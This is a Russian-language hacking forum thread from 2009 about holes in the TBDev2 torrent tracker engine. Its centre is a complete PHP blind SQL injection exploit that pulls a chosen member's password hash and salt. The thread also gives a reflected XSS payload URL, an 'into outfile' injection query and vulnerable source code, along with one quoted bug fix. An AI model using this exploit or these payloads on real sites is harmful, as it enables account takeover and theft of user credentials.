ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #101  
Старый 26.04.2009, 13:34
Rostov114
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме:
95382

Репутация: 29
Отправить сообщение для Rostov114 с помощью ICQ Отправить сообщение для Rostov114 с помощью AIM Отправить сообщение для Rostov114 с помощью Yahoo
По умолчанию

Цитата:
Сообщение от Qwazar  
Кстати, в функции function isVulnerable($url) - проверка на то уязвим сервер или нет происходит неверно, эта функция возвращает 1 или 2, т.е. всегда true Т.е. по сути проверка всегда проходит успешно.

З.Ы.
Да, это моя бага, но лучше исправить, чтобы не заваливать неуязвимый сервер тучей запросов.
Угу...исправил.
 

  #102  
Старый 27.04.2009, 01:30
Rostov114
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме:
95382

Репутация: 29
Отправить сообщение для Rostov114 с помощью ICQ Отправить сообщение для Rostov114 с помощью AIM Отправить сообщение для Rostov114 с помощью Yahoo
По умолчанию


Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php.

Естественно перед этим происходит проверка на уязвимость обоих методов.

PHP код:
<?

//TBDev2 Blind SQL Injection Exploit by Qwazar
//Greets: +toxa+ & antichat.ru & Rostov114

set_time_limit(0);
ignore_user_abort(1);
Error_Reporting(E_ALL & ~E_NOTICE);

function 
send_xpl($url$xpl$type){
    global 
$id;
    
$u=parse_url($url);
    
    switch(
$type)
    {
        case 
'takesignup':
            
$data  "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&";
            
$data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}";
            
$req  "POST ".$u['path']."takesignup.php HTTP/1.1\r\n";
        break;
        case 
'check':
            
$data "action=email&email={$xpl}";
            
$req  "POST ".$u['path']."check_signup.php HTTP/1.1\r\n";
        break;
    }

    
$req .= "Host: ".$u['host']."\r\n";
    
$req .= "Content-Length: ".strlen($data)."\r\n";
    
$req .= "Content-Type: application/x-www-form-urlencoded\r\n";
    
$req .= "Connection: close\r\n\r\n";
    
$req .= $data;

    
$fs=fsockopen($u['host'], 80$errno$errstr30) or die("error: $errno - $errstr<br>\n");
    
fwrite($fs$req);
    while (!
feof($fs)) {
          
$res .= fread($fs8192);
    }
    
fclose($fs);
    return 
$res;
}

function 
xpl($field$condition$pos){
    global 
$id;
    
$xpl="-1'+or+id=if(ascii(substring((select+$field+from+  users  +where+id=$id),$pos,1))$condition,'1',(select+1+un  i  on+select+2))+--+ @ukrnet.ua";
    return 
$xpl;
}

function 
cond($url$field$cond$pos$ch) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl($field,$cond.$ch,$pos), $type)))
        return 
1;
    else
        return 
0;

}

function 
isVulnerable($url) {
    global 
$type;
    if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'check')))
    {
        echo 
"File check_signup.php absents or not vulnerable.\r\n";
    }
    else
    {
        
$type 'check';
    }
    
    if(!
$type)
    {
        if(!
preg_match('/Subquery returns/'send_xpl($urlxpl("passhash","=-1",1), 'takesignup')))
        {
            die( 
"Exploit failed: Target is not vulnerable." );
        }
        else
        {
            
$type 'takesignup';
        }
    }

}

function 
getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }
}

if(
$argc<2)
{
echo 
"==================\r\n";
echo 
"Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n";
echo 
"==================\r\n";
die();
}
global 
$type;
$url=$argv[1];
$id=$argv[2];

echo 
$url.":".$id."\r\n";

isVulnerable($url);

echo 
"Trying to get passhash: ";
for(
$i=1;$i<=32;$i++){    
    
$c getChar($url"passhash"$i47103);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";

echo 
"Trying to get salt: ";
for(
$i=1;$i<=20;$i++){    
    
$c getChar($url"secret"$i);
    if(
$c==-1)
        die(
"\r\nExploit failed\r\n");
    else 
        echo 
$c;
}
echo 
" [DONE]\r\n";


?>
= ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.

Последний раз редактировалось Rostov114; 27.04.2009 в 01:54..
 

  #103  
Старый 06.05.2009, 01:06
Rostov114
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме:
95382

Репутация: 29
Отправить сообщение для Rostov114 с помощью ICQ Отправить сообщение для Rostov114 с помощью AIM Отправить сообщение для Rostov114 с помощью Yahoo
По умолчанию

Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.
 

  #104  
Старый 06.05.2009, 22:35
1ce666
Участник форума
Регистрация: 09.12.2008
Сообщений: 159
Провел на форуме:
2144019

Репутация: 214
По умолчанию

И лучше закрыть эту шнягу

Цитата:
Сообщение от n-sw-bit  
BugFix:

файл include/init.php

Заменить
PHP код:
$url explode('/'$_SERVER['PHP_SELF']); 
на
PHP код:
$url explode('/'$_SERVER['SCRIPT_NAME']); 
или на
PHP код:
$url explode('/'htmlspecialchars_uni($_SERVER['PHP_SELF'])); 
(c) n-sw-bit
 

  #105  
Старый 12.05.2009, 19:45
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

Цитата:
Сообщение от Rostov114  
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS
Использование
Код:
http://torrent/xxx.php/"><script>alert(/XSS/)</script>/
Где xxx любой фаил двига который отображает что либо в дизайне.

это ПАССИВНАЯ XSS
 

  #106  
Старый 30.05.2009, 13:30
злойдядька
Новичок
Регистрация: 20.11.2008
Сообщений: 10
Провел на форуме:
54375

Репутация: 16
По умолчанию

Цитата:
Сообщение от Rostov114  
При запросе вида ' union select passhash from users where id=1 into outfile '../../../usr/local/www/torrent/torrents/images/1.txt' -- @ukrnet.ua в моей узвимости сервер может ответить Access denied for user 'torrent_hack'@'localhost' (using password: YES). Что означает что он не в состоянии записать фаил на винчестер поэтому написал сплоит на основе сплоита от Qwazar....
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
 

  #107  
Старый 02.06.2009, 01:27
Rostov114
Познающий
Регистрация: 05.09.2008
Сообщений: 33
Провел на форуме:
95382

Репутация: 29
Отправить сообщение для Rostov114 с помощью ICQ Отправить сообщение для Rostov114 с помощью AIM Отправить сообщение для Rostov114 с помощью Yahoo
По умолчанию

Цитата:
Сообщение от злойдядька  
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад!
http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...
 

  #108  
Старый 08.06.2009, 10:08
yurets
Новичок
Регистрация: 07.06.2009
Сообщений: 6
Провел на форуме:
38034

Репутация: 2
По умолчанию

Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись

Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа:
"То, что вы хотите, нету.",
"URL неправильный.",
"Я даже попробовал поглядеть рядом.",
"Нет ничего похожего.",
"А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",.............
Помогите что мне дальше с этим делать?

Последний раз редактировалось yurets; 08.06.2009 в 10:10..
 

  #109  
Старый 08.06.2009, 11:22
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 

  #110  
Старый 18.06.2009, 23:30
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

вот что то нашел..))))зацени))что то у меня он не прошел

http://127.0.0.1/treker/testip.php?ip=1'

кажется что ето не SQL-inj

P.S.но все равно решил выложить....

P.S.S уже на сонную голову пишу..мб есть такой пост


Код:
if ($_SERVER["REQUEST_METHOD"] == "POST")
	$ip = $_POST["ip"];
else
	$ip = $_GET["ip"];
if ($ip)
{
	$nip = ip2long($ip);
	if ($nip == -1)
	  stderr($tracker_lang['error'], "Bad IP.");
	$res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__);
	if (mysql_num_rows($res) == 0)
	  stderr("Результат", "IP адрес <b>$ip</b> не забанен.");
	else
	{
	  $banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" .
	    "<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n";
	  while ($arr = mysql_fetch_assoc($res))
	  {
	    $first = long2ip($arr["first"]);
	    $last = long2ip($arr["last"]);
	    $comment = htmlspecialchars($arr["comment"]);
	    $banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n";
	  }
	  $banstable .= "</table>\n";
	  stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>");
	}
}
stdhead("Проверка IP");
BpoDE POST
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ